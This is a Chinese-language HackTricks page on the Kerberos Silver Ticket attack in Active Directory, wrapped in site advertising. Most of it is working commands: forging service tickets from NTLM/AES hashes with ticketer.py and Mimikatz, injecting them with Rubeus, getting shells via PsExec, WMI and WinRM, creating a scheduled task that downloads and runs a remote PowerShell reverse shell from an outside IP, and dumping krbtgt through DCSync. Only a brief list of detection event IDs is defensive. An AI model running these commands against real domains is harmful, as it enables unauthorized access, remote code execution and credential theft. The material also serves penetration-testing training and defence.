11 KiB
银票
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?你想在 HackTricks 中看到你的公司广告吗?或者你想获得PEASS 的最新版本或下载 HackTricks 的 PDF 版本吗?请查看订阅计划!
- 发现我们的独家 NFT 收藏品The PEASS Family
- 获取官方 PEASS 和 HackTricks 商品
- 加入💬 Discord 群组 或 Telegram 群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks 仓库 和hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。
如果你对黑客职业感兴趣并且想要攻破不可攻破的东西 - 我们正在招聘!(需要流利的波兰语书面和口语表达能力)。
{% embed url="https://www.stmcyber.com/careers" %}
银票
银票攻击是基于在拥有服务的 NTLM 哈希(如 PC 账户哈希)的情况下,构造一个有效的 TGS。因此,可以通过伪造自定义 TGS 以任何用户的身份获得对该服务的访问权限。
在这种情况下,拥有了一个计算机账户的 NTLM 哈希(在 AD 中类似于用户账户)。因此,可以通过 SMB 服务伪造一个票据,以管理员权限进入该计算机。计算机账户默认每30天重置密码。
还必须考虑到可以使用 AES Kerberos 密钥(AES128 和 AES256)伪造票据(opsec)。要了解如何生成 AES 密钥,请阅读:MS-KILE 的第4.4节 或 Get-KerberosAESKey.ps1。
{% code title="Linux" %}
python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
{% endcode %}
在Windows中,可以使用Mimikatz来构造票据。然后,使用Rubeus注入票据,最后可以通过PsExec获得远程shell。
{% code title="Windows" %}
#Create the ticket
mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
#Example using aes key
kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /target:labwws02.jurassic.park /service:cifs /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /ticket:srv2-cifs.kirbi
{% endcode %}
CIFS服务允许您访问受害者的文件系统。您可以在此处找到其他服务:https://adsecurity.org/?page_id=183。例如,您可以使用HOST服务在计算机上创建一个_schtask_。然后,您可以尝试列出受害者的任务来检查是否成功:schtasks /S <hostname>
,或者您可以使用HOST和RPCSS服务在计算机上执行WMI查询,测试方法如下:Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>
缓解措施
银票事件ID(比黄金票更隐蔽):
- 4624:账户登录
- 4634:账户注销
- 4672:管理员登录
可用服务
服务类型 | 服务银票 |
---|---|
WMI | HOST RPCSS |
PowerShell 远程管理 | HOST HTTP 根据操作系统还可能有: WSMAN RPCSS |
WinRM | HOST HTTP 在某些情况下,您只需请求:WINRM |
计划任务 | HOST |
Windows 文件共享,也可以使用psexec | CIFS |
LDAP 操作,包括 DCSync | LDAP |
Windows 远程服务器管理工具 | RPCSS LDAP CIFS |
黄金票 | krbtgt |
使用Rubeus,您可以使用以下参数请求所有这些票证:
/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm
滥用服务票证
在以下示例中,假设使用管理员帐户模拟检索到票证。
CIFS
使用此票证,您将能够通过SMB访问C$
和ADMIN$
文件夹(如果它们被公开),并将文件复制到远程文件系统的某个位置,只需执行以下操作:
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
您还可以使用psexec在主机内获取一个shell或执行任意命令:
{% content-ref url="../ntlm/psexec-and-winexec.md" %} psexec-and-winexec.md {% endcontent-ref %}
主机
通过此权限,您可以在远程计算机上生成计划任务并执行任意命令:
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
主机 + RPCSS
使用这些票据,您可以在受害系统上执行 WMI:
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
#You can also use wmic
wmic remote.computer.local list full /format:list
在以下页面中查找有关wmiexec的更多信息:
{% content-ref url="../ntlm/wmicexec.md" %} wmicexec.md {% endcontent-ref %}
主机 + WSMAN (WINRM)
通过计算机上的winrm访问,您可以访问它,甚至获取PowerShell:
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
请查看以下页面以了解使用winrm与远程主机建立连接的更多方法:
{% content-ref url="../ntlm/winrm.md" %} winrm.md {% endcontent-ref %}
{% hint style="warning" %} 请注意,要访问远程计算机,winrm必须处于活动状态并监听。 {% endhint %}
LDAP
通过此特权,您可以使用DCSync来转储DC数据库:
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
在以下页面了解有关DCSync的更多信息:
{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}
如果您对黑客职业感兴趣并想要攻破不可攻破的目标 - 我们正在招聘!(需要流利的波兰语书面和口语表达能力)。
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想在HackTricks中看到您的公司广告吗?或者您想要访问PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品 - The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享您的黑客技巧。